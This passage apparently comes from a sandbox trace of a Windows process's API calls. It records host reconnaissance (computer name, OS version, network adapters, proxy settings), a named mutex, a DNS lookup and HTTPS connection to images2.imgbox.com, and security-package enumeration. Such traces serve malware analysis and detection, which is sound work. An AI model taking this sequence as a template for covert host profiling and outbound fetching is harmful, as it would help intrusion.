TokenHandle=0x1c74ca08*=0x360) returned 1 [0127.171] GetCurrentProcess () returned 0xffffffffffffffff [0127.171] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74ca68 | out: TokenHandle=0x1c74ca68*=0x36c) returned 1 [0127.182] GetCurrentProcess () returned 0xffffffffffffffff [0127.183] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74ca68 | out: TokenHandle=0x1c74ca68*=0x370) returned 1 [0127.197] GetCurrentProcess () returned 0xffffffffffffffff [0127.197] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c9a8 | out: TokenHandle=0x1c74c9a8*=0x374) returned 1 [0127.205] GetCurrentProcess () returned 0xffffffffffffffff [0127.205] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c9a8 | out: TokenHandle=0x1c74c9a8*=0x394) returned 1 [0127.212] GetCurrentProcess () returned 0xffffffffffffffff [0127.212] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cfe8 | out: TokenHandle=0x1c74cfe8*=0x3b4) returned 1 [0127.228] CoTaskMemAlloc (cb=0x12) returned 0x1b8b6e40 [0127.228] RegQueryValueExW (in: hKey=0x3b8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c74affc, lpData=0x1b8b6e40, lpcbData=0x1c74aff8*=0xe | out: lpType=0x1c74affc*=0x1, lpData="Client", lpcbData=0x1c74aff8*=0xe) returned 0x0 [0127.228] CoTaskMemFree (pv=0x1b8b6e40) [0127.234] CoTaskMemAlloc (cb=0xcd0) returned 0x1b8bd240 [0127.234] RasEnumConnectionsW (in: param_1=0x1b8bd240, param_2=0x1c74d03c, param_3=0x1c74d038 | out: param_1=0x1b8bd240, param_2=0x1c74d03c, param_3=0x1c74d038) returned 0x0 [0127.240] CoTaskMemFree (pv=0x1b8bd240) [0127.249] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c74ce48 | out: lpWSAData=0x1c74ce48) returned 0 [0127.259] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x404 [0127.264] setsockopt (s=0x404, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0127.264] closesocket (s=0x404) returned 0 [0127.264] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x404 [0127.266] setsockopt (s=0x404, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0127.266] closesocket (s=0x404) returned 0 [0127.270] GetCurrentProcess () returned 0xffffffffffffffff [0127.270] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c6c8 | out: TokenHandle=0x1c74c6c8*=0x404) returned 1 [0127.271] GetCurrentProcess () returned 0xffffffffffffffff [0127.271] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c6c8 | out: TokenHandle=0x1c74c6c8*=0x408) returned 1 [0127.285] GetCurrentProcessId () returned 0xb5c [0127.299] CoTaskMemAlloc (cb=0x204) returned 0x466e30 [0127.299] GetComputerNameW (in: lpBuffer=0x466e30, nSize=0x31d5d08 | out: lpBuffer="YKYD69Q", nSize=0x31d5d08) returned 1 [0127.300] CoTaskMemFree (pv=0x466e30) [0127.300] CoTaskMemAlloc (cb=0x20) returned 0x1b8b5da0 [0127.300] RegQueryValueExW (in: hKey=0x40c, lpValueName="Library", lpReserved=0x0, lpType=0x1c74cafc, lpData=0x1b8b5da0, lpcbData=0x1c74caf8*=0x1c | out: lpType=0x1c74cafc*=0x1, lpData="netfxperf.dll", lpcbData=0x1c74caf8*=0x1c) returned 0x0 [0127.300] CoTaskMemFree (pv=0x1b8b5da0) [0127.300] RegQueryValueExW (in: hKey=0x40c, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c74cb2c, lpData=0x0, lpcbData=0x1c74cb28*=0x0 | out: lpType=0x1c74cb2c*=0x4, lpData=0x0, lpcbData=0x1c74cb28*=0x4) returned 0x0 [0127.301] RegQueryValueExW (in: hKey=0x40c, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c74cb30, lpData=0x1c74cb2c, lpcbData=0x1c74cb28*=0x4 | out: lpType=0x1c74cb30*=0x4, lpData=0x1c74cb2c*=0x1, lpcbData=0x1c74cb28*=0x4) returned 0x0 [0127.301] RegQueryValueExW (in: hKey=0x40c, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c74cb2c, lpData=0x0, lpcbData=0x1c74cb28*=0x0 | out: lpType=0x1c74cb2c*=0x4, lpData=0x0, lpcbData=0x1c74cb28*=0x4) returned 0x0 [0127.301] RegQueryValueExW (in: hKey=0x40c, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c74cb30, lpData=0x1c74cb2c, lpcbData=0x1c74cb28*=0x4 | out: lpType=0x1c74cb30*=0x4, lpData=0x1c74cb2c*=0x137a, lpcbData=0x1c74cb28*=0x4) returned 0x0 [0127.306] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0127.309] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c74caa0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x410 [0127.311] MapViewOfFile (hFileMappingObject=0x410, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2970000 [0127.312] VirtualQuery (in: lpAddress=0x2970000, lpBuffer=0x1c74ca98, dwLength=0x30 | out: lpBuffer=0x1c74ca98*(BaseAddress=0x2970000, AllocationBase=0x2970000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0127.312] LocalFree (hMem=0x1b8be130) returned 0x0 [0127.312] RegCloseKey (hKey=0x40c) returned 0x0 [0127.315] GetVersionExW (in: lpVersionInformation=0x1c74ba70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c74ba70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0127.316] GetVersionExW (in: lpVersionInformation=0x1c74ba40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c74ba40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0127.317] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31d9c80, cbSid=0x1c74ca80 | out: pSid=0x31d9c80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca80) returned 1 [0127.320] CreateMutexW (lpMutexAttributes=0x31d9e88, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0127.323] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0127.323] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31da1a0, cbSid=0x1c74c9e0 | out: pSid=0x31da1a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74c9e0) returned 1 [0127.323] CreateMutexW (lpMutexAttributes=0x31da358, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0127.324] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x414 [0127.325] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x1f4) returned 0x0 [0127.326] ReleaseMutex (hMutex=0x414) returned 1 [0127.326] CloseHandle (hObject=0x414) returned 1 [0127.327] GetCurrentProcessId () returned 0xb5c [0127.328] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0x414 [0127.328] GetProcessTimes (in: hProcess=0x414, lpCreationTime=0x1c74c9f0, lpExitTime=0x1c74c9e8, lpKernelTime=0x1c74c9e0, lpUserTime=0x1c74c9d8 | out: lpCreationTime=0x1c74c9f0, lpExitTime=0x1c74c9e8, lpKernelTime=0x1c74c9e0, lpUserTime=0x1c74c9d8) returned 1 [0127.329] CloseHandle (hObject=0x414) returned 1 [0127.329] ReleaseMutex (hMutex=0x40c) returned 1 [0127.329] CloseHandle (hObject=0x40c) returned 1 [0127.330] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31db1a0, cbSid=0x1c74ca80 | out: pSid=0x31db1a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca80) returned 1 [0127.330] CreateMutexW (lpMutexAttributes=0x31db358, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0127.330] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0127.331] ReleaseMutex (hMutex=0x40c) returned 1 [0127.331] CloseHandle (hObject=0x40c) returned 1 [0127.332] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31dbfc0, cbSid=0x1c74ca80 | out: pSid=0x31dbfc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca80) returned 1 [0127.332] CreateMutexW (lpMutexAttributes=0x31dc178, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0127.332] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0127.333] ReleaseMutex (hMutex=0x40c) returned 1 [0127.333] CloseHandle (hObject=0x40c) returned 1 [0127.333] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31dcdd8, cbSid=0x1c74ca80 | out: pSid=0x31dcdd8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca80) returned 1 [0127.334] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31ddbe8, cbSid=0x1c74ca80 | out: pSid=0x31ddbe8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca80) returned 1 [0127.337] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31de9f8, cbSid=0x1c74ca30 | out: pSid=0x31de9f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca30) returned 1 [0127.337] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31df820, cbSid=0x1c74ca30 | out: pSid=0x31df820*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca30) returned 1 [0127.337] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31e0618, cbSid=0x1c74ca30 | out: pSid=0x31e0618*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca30) returned 1 [0127.338] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31e1420, cbSid=0x1c74ca30 | out: pSid=0x31e1420*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca30) returned 1 [0127.338] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31e2220, cbSid=0x1c74ca30 | out: pSid=0x31e2220*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c74ca30) returned 1 [0127.339] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x40c [0127.340] ioctlsocket (in: s=0x40c, cmd=-2147195266, argp=0x1c74d068 | out: argp=0x1c74d068) returned 0 [0127.366] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x418 [0127.366] ioctlsocket (in: s=0x418, cmd=-2147195266, argp=0x1c74d068 | out: argp=0x1c74d068) returned 0 [0127.367] WSAIoctl (in: s=0x40c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c74cfe0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c74cfe0, lpOverlapped=0x0) returned -1 [0127.368] CoTaskMemAlloc (cb=0x204) returned 0x466c20 [0127.368] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x466c20, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0127.374] CoTaskMemFree (pv=0x466c20) [0127.374] WSAEventSelect (s=0x40c, hEventObject=0x414, lNetworkEvents=512) returned 0 [0127.374] WSAIoctl (in: s=0x418, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c74cfe0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c74cfe0, lpOverlapped=0x0) returned -1 [0127.374] CoTaskMemAlloc (cb=0x204) returned 0x466c20 [0127.374] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x466c20, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0127.375] CoTaskMemFree (pv=0x466c20) [0127.375] WSAEventSelect (s=0x418, hEventObject=0x41c, lNetworkEvents=512) returned 0 [0127.375] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x420, param_3=0x3) returned 0x0 [0127.379] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c74d120 | out: phkResult=0x1c74d120*=0x438) returned 0x0 [0127.379] RegNotifyChangeKeyValue (hKey=0x43c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x440, fAsynchronous=1) returned 0x0 [0127.380] RegNotifyChangeKeyValue (hKey=0x444, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x448, fAsynchronous=1) returned 0x0 [0127.380] RegNotifyChangeKeyValue (hKey=0x44c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x450, fAsynchronous=1) returned 0x0 [0127.380] GetCurrentProcess () returned 0xffffffffffffffff [0127.380] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cf98 | out: TokenHandle=0x1c74cf98*=0x454) returned 1 [0127.385] GetCurrentProcess () returned 0xffffffffffffffff [0127.385] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c768 | out: TokenHandle=0x1c74c768*=0x458) returned 1 [0127.386] GetCurrentProcess () returned 0xffffffffffffffff [0127.386] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c768 | out: TokenHandle=0x1c74c768*=0x45c) returned 1 [0127.420] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c74d068 | out: pProxyConfig=0x1c74d068) returned 1 [0127.488] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c74cfd0 | out: ppwstrAutoConfigUrl=0x1c74cfd0*=0x0) returned 0 [0127.502] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c74cfd0 | out: ppwstrAutoConfigUrl=0x1c74cfd0*=0x0) returned 0 [0130.116] GetCurrentProcess () returned 0xffffffffffffffff [0130.117] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c868 | out: TokenHandle=0x1c74c868*=0x4c0) returned 1 [0130.120] GetCurrentProcess () returned 0xffffffffffffffff [0130.120] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c868 | out: TokenHandle=0x1c74c868*=0x4b8) returned 1 [0130.136] SetEvent (hEvent=0x364) returned 1 [0130.156] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c74cd38 | out: pFixedInfo=0x0, pOutBufLen=0x1c74cd38) returned 0x6f [0130.166] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b8c8960 [0130.166] GetNetworkParams (in: pFixedInfo=0x1b8c8960, pOutBufLen=0x1c74cd38 | out: pFixedInfo=0x1b8c8960, pOutBufLen=0x1c74cd38) returned 0x0 [0130.192] CoTaskMemAlloc (cb=0xd) returned 0x1b8ba340 [0130.192] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0130.192] CoTaskMemFree (pv=0x1b8ba340) [0130.194] LocalFree (hMem=0x1b8c8960) returned 0x0 [0130.215] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4c8 [0130.216] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4c4 [0130.217] CoTaskMemAlloc (cb=0x14) returned 0x1b8ba340 [0130.218] getaddrinfo (in: pNodeName="images2.imgbox.com", pServiceName=0x0, pHints=0x1c74cce0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c74ccd8 | out: ppResult=0x1c74ccd8*=0x1b8c0c90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="images2.imgbox.com.sds.rncdn7.com", ai_addr=0x1b8ba3c0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.100"), ai_next=0x1b8c0cd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1b8ba3e0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.102"), ai_next=0x1b8c0e10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1b8ba4a0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.104"), ai_next=0x0)))) returned 0 [0130.502] CoTaskMemFree (pv=0x1b8ba340) [0130.502] CoTaskMemFree (pv=0x0) [0130.516] FreeAddrInfoW (pAddrInfo=0x1b8c0c90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="浩条獥⸲浩执硯挮浯献獤爮据湤⸷潣mm", ai_addr=0x1b8ba3c0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.100"), ai_next=0x1b8c0cd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1b8ba3e0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.102"), ai_next=0x1b8c0e10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1b8ba4a0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.104"), ai_next=0x0)))) [0130.517] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d4 [0130.518] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4bc [0130.518] ioctlsocket (in: s=0x4d4, cmd=-2147195266, argp=0x1c74ccf8 | out: argp=0x1c74ccf8) returned 0 [0130.518] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4dc [0130.518] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0130.518] ioctlsocket (in: s=0x4dc, cmd=-2147195266, argp=0x1c74ccf8 | out: argp=0x1c74ccf8) returned 0 [0130.518] WSAIoctl (in: s=0x4d4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c74cc70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c74cc70, lpOverlapped=0x0) returned -1 [0130.518] CoTaskMemAlloc (cb=0x204) returned 0x467250 [0130.518] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x467250, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0130.518] CoTaskMemFree (pv=0x467250) [0130.518] WSAEventSelect (s=0x4d4, hEventObject=0x4bc, lNetworkEvents=512) returned 0 [0130.518] WSAIoctl (in: s=0x4dc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c74cc70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c74cc70, lpOverlapped=0x0) returned -1 [0130.519] CoTaskMemAlloc (cb=0x204) returned 0x467250 [0130.519] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x467250, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0130.519] CoTaskMemFree (pv=0x467250) [0130.519] WSAEventSelect (s=0x4dc, hEventObject=0x4e0, lNetworkEvents=512) returned 0 [0130.521] GetAdaptersAddresses () returned 0x6f [0130.527] LocalAlloc (uFlags=0x0, uBytes=0xbe8) returned 0x1b8c50e0 [0130.527] GetAdaptersAddresses () returned 0x0 [0130.537] WSAConnect (in: s=0x4c8, name=0x31ee048*(sa_family=2, sin_port=0x1bb, sin_addr="66.254.122.100"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0130.560] closesocket (s=0x4c4) returned 0 [0130.587] EnumerateSecurityPackagesW (in: pcPackages=0x1c74cb58, ppPackageInfo=0x1c74cb50 | out: pcPackages=0x1c74cb58, ppPackageInfo=0x1c74cb50) returned 0x0 [0130.591] lstrlenW (lpString="Negotiate") returned 9 [0130.592] CoTaskMemAlloc (cb=0x16) returned 0x1b8ba3c0 [0130.592] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x447eb0, Length=0x14 | out: Destination=0x1b8ba3c0) [0130.592] CoTaskMemFree (pv=0x1b8ba3c0) [0130.593] CoTaskMemAlloc (cb=0x3c) returned 0x1b8bec70 [0130.593] RtlMoveMemory (in: Destination=0x1b8bec70, Source=0x447ec4, Length=0x3a | out: Destination=0x1b8bec70) [0130.593] CoTaskMemFree (pv=0x1b8bec70) [0130.593] lstrlenW (lpString="NegoExtender") returned 12 [0130.593] CoTaskMemAlloc (cb=0x1c) returned 0x1b8cb630 [0130.593] RtlMoveMemory (in: Destination=0x1b8cb630, Source=0x447efe, Length=0x1a | out: Destination=0x1b8cb630) [0130.593] CoTaskMemFree (pv=0x1b8cb630) [0130.593] lstrlenW (lpString="NegoExtender Security Package") returned 29 [0130.593] CoTaskMemAlloc (cb=0x3e) returned 0x1b8bec70 [0130.593] RtlMoveMemory (in: Destination=0x1b8bec70, Source=0x447f18, Length=0x3c | out: Destination=0x1b8bec70) [0130.593] CoTaskMemFree (pv=0x1b8bec70) [0130.593] lstrlenW (lpString="Kerberos") returned 8 [0130.593] CoTaskMemAlloc (cb=0x14) returned 0x1b8ba3c0 [0130.593] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x447f54, Length=0x12 | out: Destination=0x1b8ba3c0) [0130.593] CoTaskMemFree (pv=0x1b8ba3c0) [0130.593] lstrlenW (lpString="Microsoft Kerberos V1.0") returned 23 [0130.593] CoTaskMemAlloc (cb=0x32) returned 0x1b8c0a10 [0130.593] RtlMoveMemory (in: Destination=0x1b8c0a10, Source=0x447f66, Length=0x30 | out: Destination=0x1b8c0a10) [0130.593] CoTaskMemFree (pv=0x1b8c0a10) [0130.593] lstrlenW (lpString="NTLM") returned 4 [0130.593] CoTaskMemAlloc (cb=0xc) returned 0x1b8ba3c0 [0130.593] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x447f96, Length=0xa | out: Destination=0x1b8ba3c0) [0130.593] CoTaskMemFree (pv=0x1b8ba3c0) [0130.593] lstrlenW (lpString="NTLM Security Package") returned 21 [0130.593] CoTaskMemAlloc (cb=0x2e) returned 0x1b8c0a10 [0130.593] RtlMoveMemory (in: Destination=0x1b8c0a10, Source=0x447fa0, Length=0x2c | out: Destination=0x1b8c0a10) [0130.594] CoTaskMemFree (pv=0x1b8c0a10) [0130.594] lstrlenW (lpString="Schannel") returned 8 [0130.594] CoTaskMemAlloc (cb=0x14) returned 0x1b8ba3c0 [0130.594] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x447fcc, Length=0x12 | out: Destination=0x1b8ba3c0) [0130.594] CoTaskMemFree (pv=0x1b8ba3c0) [0130.594] lstrlenW (lpString="Schannel Security Package") returned 25 [0130.594] CoTaskMemAlloc (cb=0x36) returned 0x1b8c0a10 [0130.594] RtlMoveMemory (in: Destination=0x1b8c0a10, Source=0x447fde, Length=0x34 | out: Destination=0x1b8c0a10) [0130.594] CoTaskMemFree (pv=0x1b8c0a10) [0130.594] lstrlenW (lpString="Microsoft Unified Security Protocol Provider") returned 44 [0130.594] CoTaskMemAlloc (cb=0x5c) returned 0x1b8cfe20 [0130.594] RtlMoveMemory (in: Destination=0x1b8cfe20, Source=0x448012, Length=0x5a | out: Destination=0x1b8cfe20) [0130.594] CoTaskMemFree (pv=0x1b8cfe20) [0130.594] lstrlenW (lpString="Schannel Security Package") returned 25 [0130.594] CoTaskMemAlloc (cb=0x36) returned 0x1b8c0a10 [0130.594] RtlMoveMemory (in: Destination=0x1b8c0a10, Source=0x44806c, Length=0x34 | out: Destination=0x1b8c0a10) [0130.594] CoTaskMemFree (pv=0x1b8c0a10) [0130.594] lstrlenW (lpString="WDigest") returned 7 [0130.594] CoTaskMemAlloc (cb=0x12) returned 0x1b8ba3c0 [0130.594] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x4480a0, Length=0x10 | out: Destination=0x1b8ba3c0) [0130.594] CoTaskMemFree (pv=0x1b8ba3c0) [0130.594] lstrlenW (lpString="Digest Authentication for Windows") returned 33 [0130.594] CoTaskMemAlloc (cb=0x46) returned 0x1b8bec70 [0130.594] RtlMoveMemory (in: Destination=0x1b8bec70, Source=0x4480b0, Length=0x44 | out: Destination=0x1b8bec70) [0130.594] CoTaskMemFree (pv=0x1b8bec70) [0130.595] lstrlenW (lpString="TSSSP") returned 5 [0130.595] CoTaskMemAlloc (cb=0xe) returned 0x1b8ba3c0 [0130.595] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x4480f4, Length=0xc | out: Destination=0x1b8ba3c0) [0130.595] CoTaskMemFree (pv=0x1b8ba3c0) [0130.595] lstrlenW (lpString="TS Service Security Package") returned 27 [0130.595] CoTaskMemAlloc (cb=0x3a) returned 0x1b8bec70 [0130.595] RtlMoveMemory (in: Destination=0x1b8bec70, Source=0x448100, Length=0x38 | out: Destination=0x1b8bec70) [0130.595] CoTaskMemFree (pv=0x1b8bec70) [0130.595] lstrlenW (lpString="pku2u") returned 5 [0130.595] CoTaskMemAlloc (cb=0xe) returned 0x1b8ba3c0 